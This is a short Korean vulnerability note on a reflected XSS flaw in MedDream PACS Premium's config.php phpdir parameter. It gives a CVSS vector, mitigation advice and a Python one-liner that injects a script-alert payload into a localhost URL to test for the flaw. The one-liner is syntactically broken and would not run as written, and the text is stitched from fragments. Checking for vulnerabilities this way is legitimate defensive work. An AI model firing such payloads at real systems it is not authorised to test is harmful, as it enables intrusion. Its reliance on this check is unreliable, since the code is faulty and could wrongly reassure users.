MedDream PACS Premium 7.3.6.870
악의적인 URL을 클릭하거나 웹사이트에 악성 스크립트를 삽입
MedDream PACS Premium의 최신 버전으로 업데이트하거나, 입력 데이터에 대한 적절한 검증 및 제한을 구현하여 취약점을 완화할 수 있습니다.
로컬에서 MedDream PACS Premium이 설치되어 있는 경우, 위의 Python 코드를 실행하여 취약점 여부를 확인할 수 있습니다. 코드를 실행하기 전에 Python과 requests 라이브러리가 설치되어 있는지 확인해야 합니다. 코드는 config.php에서 phpdir 매개 변수에 XSS 공격을 시도하고, 성공적으로 공격이 이루어졌다면 '취약'으로 판단합니다.
python -c "import requests; url = 'http://localhost/config.php'; params = {'phpdir': '<script>alert(1)</script>'}; response = requests.get(url, params=params); if response.status_code == 200 and '<script>alert(1)</script>' in response.text: print('{{"result": "취약", "reason": "XSS 취약점 존재"}}'); else: print('{{"result": "양호", "reason": "XSS 취약점 없음"}}')"
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N